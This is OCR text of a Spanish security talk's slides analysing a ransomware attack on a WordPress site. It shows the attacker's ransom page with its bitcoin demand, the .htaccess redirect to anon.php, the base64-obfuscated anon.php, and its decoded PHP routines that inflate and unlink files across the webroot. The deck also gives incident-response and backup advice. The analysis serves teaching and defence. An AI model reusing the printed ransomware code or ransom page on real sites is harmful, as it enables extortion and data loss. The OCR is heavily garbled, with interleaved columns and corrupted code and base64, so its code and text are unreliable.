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Una llamada
misteriosa...




La escena
del crimen




{Onanimus7 R4nsomwar3}

Your Website Is Encrypt3d

Con't Change the Filename because it Can Damage the File If You Want to Return You Must Enter the Password First
Send Me $200 For Back Your Website

Bitcoin (BTC) Address : [1HmIENC |
|Password -—H Decrypt |

Contact Telegram . GlEEEEE

~Tap Background t© music~



¢Ransorﬁware
en WordFress’?



CHALLENGE
ACCEPTED!

Caso N1909




Escuela de Detectives:
Conceptos previos




DEALING WITH CYBER STRESS
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Hackers vs Ciberterroristas

 Persona curiosa que le encanta ir mas
alla de los limites y convencionalismos.

——4alllNE-

* Hacker informatico, cuyo objetivo es
enriguecerse en un entorno de suma O.

 El malo de la historia.




Qué es la
Seguridad de
Informacion

Communication

 Confidencialidad
* Integridad

- Disponibilidad

* Filtracion
* Alteracion
 Destruccion




Detectives: Analistas de Seguridad



iNo estamos solos!
La Policia y organizaciones

= Brigada Central de Investigacidon Tecnologica
(B.C.I.T.)

= Europol European Cybercrime Centre (EC3)

= Interpol Cyber Fusion Centre (CFC)
= UN Counter-Terrorism Centre (UNCCT)
= Mi6, FBI, etc.

= The European Cyber Security Organisation
(ECSO)

= UK National Cyber Security Centre (NCSC)

= Cybersecurity & Infrastructure Security Agency
(CISA)




" Posibles objetivos en WordPress

Base de

datos Contenido

Bot Net Reputacion




Como se infecta un sitio WordPress:

Vulnerabilidad [ e o Inyeccion de
Malware

Malware
SPAM Backdoor
Phishing ...

Spam
Malware
Phishing

BotNode
Sitio Zombie




OWASP
Open Web Application Security Project




Codificacion

Codificacion: Tablas tipicas:

» HTML-ASCII-HEX,
‘m‘ Traduccion CharCode

VS
Ofuscacion
VS

Encriptado




Codificacion ® Codificacion:

HTML-ASCII-HEX,

» pnp —-a
Interactive shell

php >
php > echo "\X2Th\Xx6Tfm\x65/x63_\x68t\x6d L\Xx2Th\x6Tfm\x652\x301\x36/\x76e\x6ed\x

/home/usuario/public_html/wp—content/themes/theme/assets/favicon_ﬂff481d1.icd

php >
Vo

Encriptado




Ransomware

Un ransomware, o 'secuestro de
datos', es un tipo de programa
danino que restringe el acceso a
determinadas partes o archivos
del sistema infectado y pide un
rescate a cambio de quitar esta
restriccion.

Wikipedia




Herramientas de Analista
de Seguridad web




'y
REACTIVAS

Cuando lo malo ya ha ocurrido

Mitigacion de danos

RESPUESTA A INCIDENTES

Medidas:

PROACTIVAS

Antes de que pase nada malo
Mitigacion de riesgos

ANALISIS Y MONITOREO




, Medidas Reactivas (AKA Incident Response)

9 1) Escanea tu sitio, base de Front-end: sitecheck.sucuri.net
datos, server, etc. Plugin de seguridad: WordFence, etc.

TODO
C 2) ACTUALIZA Incluido el software del servidor
3) CEC: Chequea Elimina y Admins, plugins, temas, contrasenas
\/ Cambia

- webpagetest.org

O restaura una BACKUP y Posible pérdida de informacion
~  \Vuelvea 1) Posible re-instalacion del malware
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El secuestro

{ Onanimus?7 R4nsomwar3 }
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Your Website Is Encrypt3d

Don't Change the Filename because it Can Damage the File IT You Want ta Return You Must Enter the Password First
Send Me $200 For Back Your Website

Bitcoin (BTC) Address : [1HmiGEGENC
|'-' assword !—H Decrypl|

Contact Telegrarm : Gl R

~Tap Background to music~




El secuestro

{ Onanimus?7 R4nsomwar3 }

e Password First




Las Pruebas




4p

Las Pruebas

wp-config.php.Oxdfeet16e696d757337

8d57
63b3
8548
2116
e44s
59e8
4c38
e2dc
4962
af2c
8e2c
1796
335b
5ceb
1a99%
c7of
f4ba
5ff3
f9a6
cee4d
4b88
635¢C

do72
d86c
a4l4
574d
3719
d265
87b9
8e69
la2e
410e
10a7
41fc
ec27
fbéc
8813
Oc2c
35d4
799b
43a5
6f6e
5595
48e5

e248
aeee
4390
44db
dbdb
1263
4c74
2450
ele3
@b35
82dc
b7ab
84e7
2783
2140
be2a
279d
3964
a7f9
279
8e86
7c5e

167d
8929
9442
8e00
1b74
4159
17dd
c209
22d5
813c
ales3
507e
4ebl
bc4da
8aa7/
22bc
a3bd
9fdb
5576
74fb
2e43
Qe84

le7f
81d8
9962
a3bb
8b26
885¢C
a’82
47c2
69c8
bc25
c8ds8
4338
67aa
o9f7f
9f59
808b
6f3e
4199
9976
3152
6ecc
6a’/l

cfa4
8bao
fffb
lefe
@bcc
198b
8lec
bod4
7das
a92c
ca3e
331f
30c4
dda2
1768
2edd
c813
eblc
355e
4a@c
dos8
8298

wp-admin

wp-content

wp-includes
| ftpquota.Ox4f6e616e696d757337

Lj.htabackup

[ .htabackup.0x4f6e616e696d757337

U htaccess

|| htaccess.0x4f6e616e696d757337
[ 7.php.0x4f6e616e696d757337

'anon.php

-
-II - - - f 6 69

u error_log

ﬁ error_log.Ox4f6e616e696d757337
€ googlec55310faa35eldc].html

€ index.html
Eindex.php

rl index.php.0x4f6e616e696d757337

U license.txt.Ox4f6eb16e696d757337

|_—L| onanimus7.php.Ox4f6eb16e696d757337

u readme.html.0x4f6e616e696d757337

| ] test.html.0x46e616e696d757337

U wp-activate.php.Ox4f6e616e696d757337

] wp-blog-header.php.0x4f6e616e696d757337
U wp-comments-post.php.Ox4fbeb16e696d75...
] wp-config-sample.php.Ox4f6e616e696d757...
] wp-config.php.0x4f6e616e696d757337

s

n-cron.php

17

114
57

114
57

215
5.063
2.742
202.318.369
32.096
2.304
54

697

0

251
7.283
2.130
2.993

-

2
2.416
225
1.046
1.190
1.884
3.847

ile folder
File folder
File folder

0X4F6E616...
HTABACK...

0X4FEEG16...
HTACCESS...
0X4F6E616...
0X4F6EBT6...

PHP File

OX4FBEG16...
0X4F6EB16...

File

0X4FBER16...
Firefox HT...
Firefox HT...

PHP File

OX4F6E616...
OX4F6EG1G...
OX4FeEBTE...
OX4F6EB16...
OX4F6EBTE...
0X4F6E616...
OX4FoEB10...
0X4FBEB16...
OX4FoEb10...
OX4FBEB1E...

PHP Fil

i/ 203:16:10
26/1/2022 15:48:35
10/1/2022 21:16:23
26/1/2022 14:08:06
26/1/2022 16:00:02
26/1/2022 15:55:04
26/1/2022 16:00:02
26/1/2022 15:55:05
26/1/2022 15:39:19
26/1/2022 16:00:02
26/1/2022 15:55:05
19/2/2021 09:12:06
27/1/2022 09:16:56
26/1/2022 15:45:57
27/1/2022 09:11:42
27/1/2022 09:35:40
27/1/2022 02:14:43
26/1/2022 15:45:57
26/1/2022 15:45:57
26/1/2022 15:45:57
26/1/2022 15:45:58
26/1/2022 15:45:58
26/1/2022 15:45:59
26/1/2022 15:47:13
26/1/2022 15:47:13
26/1/2022 15:47:13
26/1/2022 15:47:13
7/11/2019 04:10:46



La Pista

htaccess file




cgi-bin

vim

wp-admin

wp-content

wp-includes
] ftpquota.Ox4f6e616e696d757337
Lj htabackup
' .htabackup.Ox4f6e616e696d757337
[_] htaccess
| .htaccess.Ox4f6e616e696d757337
] 7.php.Ox4f6e616e696d757337
.annn php
U anon.php.Ox4f6eb16e696d757337
[ ] cgi-bin.zip.0x4foeb16e696d7573
] error_log
| | error_log.0x4f6e616e696d757337
€ googlec55310faa35eldcl.html
€ index.html

Eindex.php

i
-I_‘F
-

La Pista

4P htaccess-DISABLED

DirectoryIndex anon.php
ErrorDocument 403 /anon.php
ErrorDocument 404 /anon.php

ErrorDocument 500 /anon.php
11




y &

Desenredando la
Y ELEIE]

anon.php




1

Desenredando la madeja
anon.php

anon.php *

<?php euaL(‘?>'.baseﬁq_decude('PHdelePnngZ5hbmlthMBIFIabanbthchngwvdG7-._
16bGU+CjxtZXRhIGNoYXJzZXQ9InVOZiv4Ij4KPG11dGEgbmFtZT@idml1ld3BvcnQiIGNvbnR1bnQ:

9IndpZHRoPWR1dmljZS13aWR@aCwgaW5pdGlhbC1lzY2FsZTOWLjUiPgo8bWVOYSBodHRWLWVXdW12
PSJYLVVBLUNvbXBhdGlibGUiIGNvbnR1bnQ9Ik1lFPWVKkZ2UiPgo8bWVOYSBwcmOwZX10eTOib2cedl

G1lObGUiIGNvbnNR1bnQ9I1B3bjNKkIEISIEQUYWSpbXVZNYI+CjxtZXRhIG5hbWUSImtleXdvemRzI1
Bjb250ZW50PSIINGNrM2Qs ICBINGNrM2QgQnksIESuYWSpbXVzNywgSDRjazNkIEISIEQUYWSpbXV
ZNyI+CjxtZXRhIG5hbWUSImMR1c2NyaXBoaWouIiBjb250ZW50PSITZWN1cmleeSBqdXNOIGFuUIGls
bHVzaW9uISEhIj4KPG11ldGEgcHIvcGVydHk9ImOnOmR1c2NyaXBOaWouIiBjb250ZW50PSITZWNIC
m1eeSBqdXNOIGFuIGlsbHVzaWSuISEhIj4KPG11ldGEgcHIvcGVYydHk9ImSnOnNpdGVfbmFtZSIgy2
SudGVudDOiIFN1Y3VyaXR5IGplc3QgYWagaWxsdXNpb24hISE1Pgo8bWVOYSBwcmOwZXJ10eToib2c
6dH1wZSIgY29udGVudDe1d2Vic210ZSI+CjxtZXRhIHByb3B1lcnR5PSIvZzppbWFNnZSIgY29udGVu
dD@iaHROcHM6LY9pLmliYi5jby9zMIRENERCLZE2MjQ3NTc3MDctcGljc2F5LnBUZyI+CjxtZXRhI
GSthUBImNUCHlyaNdDdCJjhZSBZHSBPSJINGNPaNEHLGCSIEBUVWSprVZNyI+ijtZXRhIGSth



# baseb4decode.org

BASE64 K=l
Decode and Encode | £ Encode

Do you have to deal with Base64 format? Then this site is perfect for you! Use our super handy online tool to encode or decode your data. ld E ja

.php

Decode from Base64 format

Simply enter your d

anon.php PHRpdGxIPnsgT25hbmitdXM3IFI0bnNvbXdhciMgiTwvdGIObGU-+CixZXRhIGNoYXJZZXQ9InVOZi04I4KPG 11dGEgbmFIZ T0idmlid3BvenQilGNvbn b
: : RIbnQ9IndpZHRoPWRIAMIZS 13aWR0aCwgaW5pdGlhbC 12Y 2F sZTOWLjUiPgo8bWVOY SBodHRwLWVXdWI2PSJYLVVBLUNvbXBhdGIibGUIIGNY .

<? p h p eval ( ' s brRIbnQIIKIFPWVKZ2UiPgo8bWV0YSBwemIwZXJ0e T0ib2c6dGI0bGUIIGNvbnRIbnQSIIB3biNKIEJSIESUYWSpbXVzNyl+ CixtZXRhIGShbWUSImtle Xdhc 3 M g-{: TwvdG
XdvemRzIiBjb250ZW50PSJINGNrM2QsICBINGNM2QgQnksIESuYWSpbXVzNywgSDRjazNKIEJSIESUY W5pbXVzNyl+ CixtZXRhIGEhbWUSImRIC2

10bGU+CixtZXRhI! NyaXB0aW9uliBjb250ZW50PSJTZWN 1cmi0eSBqdXNOIGFulGlsbHVzaWIuISEI4KP G11dGE gcHIveGVy dHKIImInOmRIc2NyaXB0aWsuliBjb250 Ql IGNvbnR1bn Q
- ] ZW50PSJTZWN1cml0eSBqdXNOIGFulGlsbHVzaW9ulSEhI4KPG1IdGEgeHveGVydHkSImInOnNpdGVIbmFIZSIgY 29udGVudDOIIFNIY 3VyaXR5!
= Gp1c3QgYW4gaWxsdXNpb24hISEiPgo8bWVOY SBwem9wZXJ0eT0ib2c6dHIWZSIgY 29udGVudD0id2Vic210ZS1+ CixtZXRhIHByb3BIcnR5PS JvZzpp

SInd PL HRoPWR1dm bWFnZSlgY29udGVudD0iaHROCHMBLy9pLmiiYisjbySzMIRENERCLZE2MjQ3NTc3MDctcGlic2F 5LnBuZyl+ CpaZXRhIG5hbWUSImNveHIyaWdodCJj YdHRwLWVxdinl2

_ . b250ZW50PSJINGNraW5nL GesIESuYWSpbXVzNyl+ CidtZXRhIGShbWUIInRoZW1ILWNvbGyliBjb250ZW50PSMDAWI4KP G 11dGE gbmFZT0icm 5 :

9ib3RzliBjb250ZW50PSJpbmRleCwgY 2FjaGUsIGZvbGxvdywgY XJjaGI2ZS1+CptZXRhIG5hbWU9Imdvb2dsZWJvdClgY29udGVudDO0iYWxsLCBpb

p 5 -J \|"I' L jUB L UN v b x B mRIeCwgZm9sbGI3LCBjYWNoZSwgY XJjaGl2ZS+CixtZXRhIG5hbWUIImFsbGI3LXNIYXJjaClgY29udGVudD0ieWVzIj4KP G 1IdGEgbmFtZTO0iYX I }( :l @ e T B l b 2 C 6 d

G 1 6 b GU 1 I E N \ b n R l VkaWVuY2UilGNvbnRIbnQ9ImF sbCl+CjxsaW5riHJIbD0icZhvenRjdXQgaWNvbilgdHIWZ T0iaW1hZ2UveC 1pY29uliBocmVmPSJodHRwczovL 3d3dy .”.E l o }{ d vem R yd I 1

Bjb250ZW50PSIIN = " 15IESUYWSpbXV
ZNyI+CjxtZXRhIG Oecde ac s s o vhn 1 v ot e ndXN@IGFUIGls

b HV z a ['..J 9 u I S E h I ] ‘i @ Live mode OFF Decodes in real-time as you type or paste (supports only the UTF-8 character set) Zw 5 6 FJ' 5 j _|_ EL;IIN 1 C
_( [o]=ele o SN I Decodes your data into the area below
m1leeSBgdXNOIGFu GVFbmFtZSIgy2

<title>{ Onanimus7 R4nsomwar3 }</title>

9 LJ d GU u d DB i I F N lv :m::: El;zzzit:::rfc; content="width=device-width, initial-scale=0.5"> 911""! Z x j @E T@ 1 b 2 C
6dH1wZSIgY29udG e propey og k- conten="wsd By OnamT> NZSIgY29udGVu

<meta name="keywords" content="H4ck3d, H4ck3d By, Onanimus7, H4ck3d By Onanimus7™>

d De i 2 H R @ C Hrﬂ 5 L }; 9 <meta name="description” content="Security just an illusion!llI"> Z }f I +{: j X 't EX R h I

<meta property="0g:description” content="Security just an illusion!!I">
G 5 h b L"'JIU 9 I mN I"J' C H l <meta property="og site_name” content=" Security just an illusion!!!">
y <meta property="og:type” content="website™>

<meta property="og:image” content="https://i.ibb.co/s2TD4HB/1624757707-picsay.png™>

<meta name="copyright"content="H4cking g, Onanimus7™>

Ranrmda filas fram Racald farmasr



pg"> I I I I u
i W, CB& r»,. archive es e n l e a n o a m a ej a
href="https://wew. freepnglogos. com/uploads /troll - face-png/sexican-meme-troll -face-transparent -png-stickpng-2.pny
.. Montserrat:188" rel="stylesheet” ano' ,
[ ]

x1PnsgT25hbmltdXM3IFI@bnNvbXdhciMgfTwvdG!
KPG1ldGEgbmFtZT@idmlld3BvcnQiIGNvbnR1bnQ
bClzY2FsZTOwLjUiPgo8bWVOYSBodHRwWLWVXdiW12
k1FPWVkZ2UiPgo8bWVOYSBwcmOwZX10eTOib2c6ed
S5pbXVzNyI+CjxtZXRhIG5hbWU9ImtleXdvcmRzIi
SIESuYWS5pbXVzNywgSDRjazNkIEJSIESuYWSpbXV
I1Bjb250ZIWSOPSITZWN1cmleeSBqdXNOIGFuUIGls

L2, s s 11 mOnOmR1c2NyaXB@aWouIiBjb250ZW50PSITZWNIC
L 11dGEgcHIvcGVydHk9ImOnOnNpdGVfbmFtZSIgy2

‘”“”""39“‘”“”.,} i S T < - s A S g dXN p b 21:”1 ISE 1 pgﬂ ot bNVBYS BwcmOwZXJ0eTo i b 2C

e e ZXRhIHByb3B1cnR5PSIVZZzppbWFnZSIgY29udGVu

send Me $20@ For Back Your Website:<bracbrs
Bitcoin (BTC) Address @ <input type="text™ value="1HmEGRGDURrTEDIQINQLGKECPZZYIMINYG" readonlys

ZE2MjQ3NTc3MDctcGljc2F5LnBuZyI+CjxtZXRhI
NraW5nLGcsIEQuYWSpbXVzZNYyI+CjxtZXRhIGShbi

- — — —




4P  anonphp % anon-dec.php

{ Onanimus? R-lnsmwar3 Fef
et="utf-8"

="viewport" c:nten "width=device- wid‘th initial-scale=.5"> wp x anon-dec.php ®
X-UA-Compatible” content="IE-edge">
="pg:title” content="Pwn3d By Onanimus7"

0 tent= d, k3d kad o . . -
N VR i i <title>{ Onanimus7 R4nsomwar3 }</title>
="pg:description” content="security just an illusion!!!™

te_name" content=" Security just anm illusion!!!™>

= conten lEbSltE

e i <meta charset="utf-8">
ﬁl%é&&%lﬁglﬁﬁmmu <meta name="viewport" content="width=device-width, initial-scale=0.5">
SRR ot g <meta http-equiv="X-UA-Compatible” content="IE=edge">
Z;%%Wmmm@memwmmmMWMﬂwmm~ <meta property="og:title" content="Pwn3d By Onanimus7">
%@Eﬁﬁ;mnm . <meta name="keywords" content="H4ck3d, H4ck3d By, Onanimus7, H4ck3d By
input. € background: ransporents colOMcs border: S solid it Onanimus7">
oy <meta name="description” content="Security just an illusion!!!">

ZEE <meta property="og:description” content="Security just an illusion!!!">

<meta property="og:site name" content=" Security just an illusion!!!">
(ol ey <meta property="og:type" content="website">
| e Srenene aecrypta 1110 <meta property="og:image" content="https://i.ibb.co/s2TD4HB/
e 1624757707 -picsay.png">
SRt 12 <meta name="copyright"content="H4cking,g, Onanimus7">
B <meta name="theme-color" content="#000">

g <meta name="robots" content="index, cache, follow, archive">

br>Webroot Decrypted<br>";
<meta name="googlebot" content="all, index, follow, cache, archive">

~ FALSE) £

£ . SERVER['FPHP_SELF'1);
-htaccess’ )
tabackup','.htaccess');

}Egzlgmwi <meta name="allow-search" content="yes">
exit0); <meta name="audience" content="all">

1o

'megwwﬁhmmwhﬁmmmmmmwmmm <link rel="shortcut icon" type="image/x-icon" href="https://
s s www . freepnglogos.com/uploads/troll-face-png/
mexican-meme-troll-face-transparent-png-stickpng-2.png">
;ﬁ?gﬁgﬁ;ﬁﬁﬁﬁWmmmwmmww <link href="https://fonts.googleapis.com/css?family=Montserrat:100" rel
Aot stylesheet"”>

Don t Change the Filename because it Can Damage the File If you want to return You

Senﬁ Me $208 For Back Yuur Mebsite <brachr
Bitcoin (BTC) Address : <input type="text™ walue= AHmMEGMGDUBrTEDIQANDLGKECpZZY2Min
<br

a1 3
35 ax
to ( Tk €"); } —
ImgClickandCh ) SrE. = bodv } else { kandChange").src = “body”; I }</script<b
a7 ickground to music~
88 5 (funciion () { for{var i = @; i < 28; i=+) { history cument.title, window.location.href Y; } })}(document, window, history); </




ap

anon.php » anon-dec.php ']

harset="utf-8"»

<metz name="viewport" content="width=device-width, initial-scale=8.5">

meta http-equiv="X-UA-Compatible" content="IE=edge">
a property="og:rtitle®" content="Pwn3d By Onanimus7">
meta name="keywords"™ content="Hack3d,

ty="og ‘type" content="website":

rcperty- 'og :image" content-=
ame="copyright”content="H4cking,g, Onanimusy">
ame="theme-color” content="#808">

a name="robots" content="index, cache, follow, archive">

ame="allow-search” comtent="yes">
a name="audience” content="all"»

{
backgraund black;
color: white;
Font-Faomily:
1

‘Monmtserrat’, soms-serif

input { bockground: transporent; color: white
>

ring(8);
. POST[ 'pass'];

"4c3gafel014c17des3262605d7a88633";
t($inputy) {

file get rcontepts{&Filename}};

tr_reploce(’ .exafeeslses9ed7s57337", "',

g('.htaccess");
unlink(sfilename);
echo "$filename Decryptad !!!l<brs";

¥

Sfunction ¢ ccGLr(Sdlr){
$files - arra Fr{scandir(3dir), array{'."; '.."});
fcreach(hflles :flle) {
if(is dirdsdir. /" SFile)y{
decdir($dir."/" .Sfile);
Felse {

gecfi

1e(8dir."/".5F11e);

i

decdir($_ SERVERL "DOCUMENT_ROGT'1);
"<br>Webroot Decrypted<br>";
(5 _SERVERL "PHP_SELF'1);

k(. htaccess')'

{"htabackup®, htaccess');

et ‘Success ! |

Felse {

echo "Failed Password 111';

ame="googlebot” conmtemt="all, index, follow, cache, archive"»

border: 1px solid white; }

|.Bx4fEec16e696d757237 ) === FALSE) {

Hack3d By, Onanimus?, H4ck3d By Onanimus?®»
ame="description” content="security just an Illusion!!!">

"og'dﬂscription" content="security just an illusion!!!™»
‘og:site_name" content=" Securlty Just an illusion!!!®:

tps: JIJ ibb. co/s2TD4HB/ 1624757707 -plcsay.png™ >

k rel="shortcut icon” type="image/x-icon® href="htips://we . freepnglogos.com/uploads/troll-face-png/mexican-meme-troll-face-tr;

k href="https://fonts.googleapis.com/css2family=Montserrat:iee” rel="stylesheet™»

£filename), $decrypted);

s f 0nan1ms7 Ransmar‘a 1</

brxchrs
hZ>Your Website Is Encrypt3d</ha»

by

end Me $20@8 For Back Your Website <brxchr

itcoin (BTC) Address :

bry<br>

form enctype="multipart/form-data" method="past”»

1rput type="text" name="pass" placeholder="Password"> <i
form:

lr »Contact Telegral E

nclick

sr(_

@feyensss brs
35"

classLlst (‘ﬁark mode"}; } funct on changell
ImgClickaAndChange™).src = “"body”; } else { documen
~%ap Background to music~

<input type="text"™ value="1HmMEGMGDUBrTEL304!

nput type=

> {function () { for{war i = ®; i < 28; ir+) { history.

img height="288" src="https: f/www freepnglogos. comf/uploads/troll-face-png/mexican

pon't change the Filename because it Can Damage the File If You wWant to Re

pushstatef{nult,

CCPZZY2MInYg" readonlys

"submit" value="Decrypt">

document.title, wind

You Must Emter the Password First

- troll-face-transparent-png-stic kpng—z} d

iow.location.href ); } }}{dogeeni]

= ®

(o)} i ph w N

~

= ® W

w

7/
8

SCelfiLelr’”?
<h1>{ On
<img hei
/mexican
<br><br>

animus7 R4nsomwar3 }</h1>
ght="200" src="https://www.freepnglogos.com/uploads/troll-face-png
-meme-troll-face-transparent-png-stickpng-2.png"/>

<h3>Your Website Is Encrypt3d</h3>

Don't Ch

ange the Filename because it Can Damage the File If You Want to

Return You Must Enter the Password First

<br>
Send Me
Bitcoin
1Hm
<br><br>
<form en
<input t
</form>
<br>Cont

<body onclick="playAudio();

value="

$200 For Back Your Website <br><br>
(BTC) Address : <input type="text" value="
inYq" readonly>

ctype="multipart/form-data" method="post">
ype="text" name="pass" placeholder="Password"> <input type="submit

Decrypt”>
o >

" class=""><audio id="sec"

act Telegram :

__idm_id_ =

823202817">

<{source
audio>

<div class="memeck"><script>var x

src="https://i.top4top.io/m_2034akjoy3.mp3" type="audio/mpeg"></

document.getElementById("sec");
function playAudio(){x.play();} function myFunction() {var element
document.body; element.classList.toggle("dark-mode"); }
function changelmage() { if (document.getElementById("
imgClickAndChange").src == "body") { document.getElementById("
imgClickAndChange").src = "body"; } else { document.getElementById
("imgClickAndChange").src = "body"; } }</script><br>

~Tap Background to music~

<script>

(function () { for(var i = 0; i < 20; i++) { history.pushState(
null, document.title, window.location.href ); } })(document,
window, history); </script>
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anon.php » anon-dec.php ']

<titles{ Onanimus7 R4nsomwar3 }</t
charset="utf-8"»

" content="width=device-width, Initial-scale-0.5">
Compatible” conteni="IE=edge">

1a" conten wn2d By Onanimus7"> 2 9
="keywords" content="Hack3d, H4ack3d By, Onanimus?, H4ck3d By Onanimus7"»

name—"das ription” content="security just an illusionit!
'og:description” content="Security just an Lnusmn'
'og:site_name" content=" Security just an illusion
'og :type” content="website">

e

y="og:image" content="https://i.ibb.co/s2TD4HB/1624757707-picsay.png" >
opyright™content="H
heme-color”™ content:
obots

ing,g, Onanimus?™>

content="index, cache, follow, archive">
a].l, index, follow, cache, archive®»

rel="shortcut icon™ tupe-"].mage.fx icon® href="htips://ww«, frespnglogos.com/uploads /troll]

href="nttps://fonts.googleapis.com/css2family=Montserrat:iee” rel="stylesheei™»
:

btml
background: black;

color: white;

Font-fomily: 'Montserrat®, sens-serif;

ut { bockground: transparent; color: white; border: 1px solid white; }

q(e};
_POST[ 'pass'];
‘4c3gafel0l4c17dess262605d7a88633";

os{$filename, '.Bx4f6eslse06d757337') = £y {
return;
£
fdecrypted s{Efilenamel);
Fite put ¢ { .exﬂfseslseESEdTS‘faa? ', Efilename), %decrypted);

un.

E{"anon.php®};

*htaccess');

z(sfilename);

o "$filename Decryptad !!!l<brs";

¥

Sfunction decdir{3dir){
$files - orray [ i - S b

dec u.l(sdl.r' " SFile);

(sdir."/".5F1le);

{5 SERVER[ *DOCUMENT_ROOT 1)

<brzWiebroot Decrypted<br>";

(5_SERVER[ 'PHF_SELF'1);

{'.htaccess");

('htabackup' 3 Lahtaccess!)s
‘Success Mt s

else
cho 'Failed Password !

£ Onanimus? Ransomwars Je/his
eight="288" src="htips://www.freepngloges.com/uploads/troll-face-png/mexican-meme-troll-
<brrchrs

<h3>Your Website Is Encrypt3d:/

pon't change the rFilename because it can Damage the File If you wWant to rReturn you Must emter i
<bry

send Me $200 For Back Your Website <bracbr

Bitcoln (BTC) Address : « Ut type="text™ value="1HMEGMGDUBrTEDIQANQLGKECPZZY2MInYG" readonly.

en"‘\fje— multipart/form-data" method="past”»
text" nome="pass" placeholder="pPassword"> <input typ

"submit" value="Decrypt">

idm id ="823202817">

(" ﬁar( mode"); ¥ Fum
1mgc11.cknndcr|a ge™).src = “body™; } else { docu
-Tap Background to music~
Function () { for{var i = ®; i < 20; i++) { history.p

php
error_reporting(0);

function decfile($filename){ =

}

function decdir($dir){ =
}

)
echo "<br>Webroot Decrypted<br>";
unlink($_SERVER[ 'PHP_SELF']);
unlink('.htaccess');
copy( "htabackup', '.htaccess');
echo 'Success !!!’

} else {
echo 'Failed Password !!!

}

exit();

J

TZWN1c
ZSIgy2
T@ib2c
9udGVu
tZXRhI
IGS5hbW




32v if(isset($input)) {
- if(md5($input) == $pass) {
function decfile($filename){
if (5trpos£$&ilename, '.Ox4f6e616e696d757337"') === FALSE) {
return;
}
$decrypted = gzinflate(file get contents($filename));
file put contents(str_replace('.0x4f6e616e696d757337', '', $filename)
, $decrypted);
unlink('anon.php');
unlink(' .htaccess"');
unlink($filename);
echo "$filename Decrypt3d !!!<br>";

}

function decdir($dir){
$files = array diff(scandir($dir), array('.’,
foreach($files as $file) {
if(is_dir($dir."/".$file)){
decdir($dir."/".$file);

}else {
decfile($dir."/".$file);




El “chicle de
MacGyver’

AKA “El
Truco”




4P anonphp % anon-decphp °

{ Onanimus7 R4nsomwar3 }</title>
har "utf-8"»
" content="width=device-width, Initial-scale-{
*X-UA-Compatible” content="IE=edge">

¥ g title” content="Pwn2d BY Onanimus?">
ame="keywords" content="H4ck3d, Hack3d By, Onanimus?, H4c
ame="description” content="security just an Illusion!!!">
g:description” content="Security just an illusio
g:site_name" content=" Security just an illusion
g -type" content="website"»
i "https://1.ibb. co/s2TD4HE/ 16247
king,g, Onanimus?™>
i thema- s ="#808" >
ame="robots" content="index, cache, follow, archive"> .
ame="googlebot” conmtemt="all, index, follow, cache, archiv{ fun C 10” L e C = D en a me ) {

& name="allow-search” comtent="yes"»
et Shortcut Scon Type-rTimge/e-icar” NEEF-"hEEpS /7 if (strpos($filename, '.Ox4f6e616e696d757337"') === FALSE) {

ref="htitps://fonts.googleapis.com/css2family=Montserrat:1ed t -
return;

TR A

Mc}}gr‘aund: black;
color: white; }
Font-fomily: 'Montserrat®, sens-serif;

1

backarounss tronsparent, cotor ke borer: 3 sold | $decrypted = gzinflate(file_get contents($filename));

i : file put contents(str _replace('.0x4f6e616e696d757337', '', $filename
??BSS = 4in23:§;6‘i:[1?dE88252685d7538633 H - $dec r‘y pt ed ) ;

it s, " matecsassenerir' - Fi20) unlink('anon.php');
st s unlink(' .htaccess');
e unlink($filename);
} D echo "$filename Decrypt3d !!!<br>";

25 Sfunction decdir{3dir){
a7 $files = array 1 i - S b
8 Foreach( a i

if " 4File)){

gdir."/".5f11e);

(' .htaccess');

decfile($dIr."/".Sfile};

, function decdir($dir){
s semen e a1 $files = array_diff(scandir($dir), array('.', '.."));
ol e foreach($files as $file) {
if(is_dir($dir."/".$file)){
decdir($dir."/".$file);

tabackup','.htaccess');
‘Success Mt s

Felse {

echo "Failed Password 101';

1>{ onanimus? R4nsomwar3 }</hix

_ _ }else {
_ : {ght: 28@" src="https://www.freepnglogos. com/uploads/troll dec-Fi le($dir\ - " / " ) $‘Fi le) ;

<hZ>Your Website Is Encrypt3d</nz»

75 pon't change the Filename because it can Damage the File If You Wi

7 send Me $200 For Back Your Website <bracbr

78 Bitcoin (BTC) Address : <input type="text™ value="1HMEGMGDUBrTED3
b .

“multipart/form-data" method="post™»
“text" name="pass" placeholder="password"> <input typ{ }

Efeyensss<irs

()" class=""»<

cpstop.-io/m_283:
Var K =

it Dol o et i decdir($_SERVER[ 'DOCUMENT _ROOT']);

ickground to music~
5 (funciion () { for{var i = @; i < 28; i=+) { history " Ne =




El Rescate



Webroot Decrvpted

Success !

— =1

= index.php

B license.txt

) readme.html

® wp-activate.php

® wp-blog-header.php

s wp-comments-post.php
% wp-config.php
=

wp-config-sample.php

29/1/2022 11:f

29/1/2022 11::

29/1/2022 11::

29/1/2022 11:5

29/1/2022 11:5

29/1/2022 11:5

29/1/2022 11::

29/1/2022 11:&

El Rescate




En el Pais de Nunca Jamas...




Backups — Copias de
seguridad

= “Back up” -> Cubrir la espalda

= En el caso de un Ransomware
es nuestro mejor aliado.

= ¢ Estas completamente seguro
de que tus copias de seguridad
funcionan?




Medidas Proactivas

x Reduce admins, plugins y themes (REGLA MINIMO PRIVILEGIO)

@™ Usa Gestores de Contrasefias, Cambialas periédicamente.

E Copias de Seguridad (VALIDALAS)

\é Actualiza (RECUERDA: Los parches vienen tras los exploits)

A Monitorea tu sitio (WPSCAN & Escaneres integridad de ficheros)

' '|' ' WAF (Web Application Firewall)




Vv

RECUERDA invertir en

°

HOSTING SEGURIDAD




L —

EVEI")'de)I Nneeds a hacker-



GRACIAS!!

\\ Ahora es vuestro
!/ momento:

PREGUNTAS!

’ Néstor Angulo de Ugarte
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